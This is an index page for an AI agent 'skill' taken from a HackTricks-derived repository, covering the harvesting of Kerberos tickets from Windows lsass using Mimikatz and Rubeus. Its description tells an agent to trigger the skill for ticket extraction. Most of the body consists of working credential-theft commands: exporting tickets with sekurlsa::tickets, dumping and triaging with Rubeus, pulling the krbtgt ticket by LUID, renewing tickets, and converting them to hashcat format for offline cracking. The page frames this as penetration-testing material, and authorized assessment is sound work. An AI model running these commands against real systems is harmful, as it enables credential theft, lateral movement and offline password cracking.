OpenSkillIndex← back to search

Hacktricks-skills kerberos-ticket-harvesting

How to harvest Kerberos tickets from Windows systems using Mimikatz and Rubeus. Use this skill whenever you need to extract, dump, triage, renew, or convert Kerberos tickets from Windows environments during security assessments, penetration testing, or red team operations. Trigger this skill for any Windows Kerberos ticket manipulation tasks, including lsass memory extraction, ticket export, and offline cracking preparation.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows/SKILL.MD
source content

Kerberos Ticket Harvesting from Windows

This skill covers extracting and manipulating Kerberos tickets from Windows systems using industry-standard tools like Mimikatz and Rubeus.

Background

Tickets in Windows are managed and stored by the lsass (Local Security Authority Subsystem Service) process, responsible for handling security policies. To extract these tickets, it's necessary to interface with the lsass process. A non-administrative user can only access their own tickets, while an administrator has the privilege to extract all tickets on the system.

Tools Overview

Mimikatz

Mimikatz is a versatile tool that can interact with Windows security. It's used not only for extracting tickets but also for various other security-related operations.

Extract tickets using Mimikatz:

sekurlsa::tickets /export

Rubeus

Rubeus is a tool specifically tailored for Kerberos interaction and manipulation. It's used for ticket extraction and handling, as well as other Kerberos-related activities.

Dump all tickets:

.\Rubeus dump

Save a ticket to file:

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

List all tickets:

.\Rubeus.exe triage

Dump a specific ticket by LUID:

.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap

Save the specific ticket:

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))

Renew a ticket:

.\Rubeus.exe renew /ticket:<BASE64_TICKET>

Convert a ticket to hashcat format for offline cracking:

.\Rubeus.exe hash /ticket:<BASE64_TICKET>

Usage Notes

  • Replace 
    <BASE64_TICKET>
    with the actual Base64 encoded ticket string
  • Replace 
    <luid>
    with the actual Logon ID from the triage output
  • Ensure you have appropriate privileges (administrative access extracts all tickets, non-admin users can only access their own)
  • These tools provide extensive functionality for managing tickets and interacting with the security mechanisms of Windows

References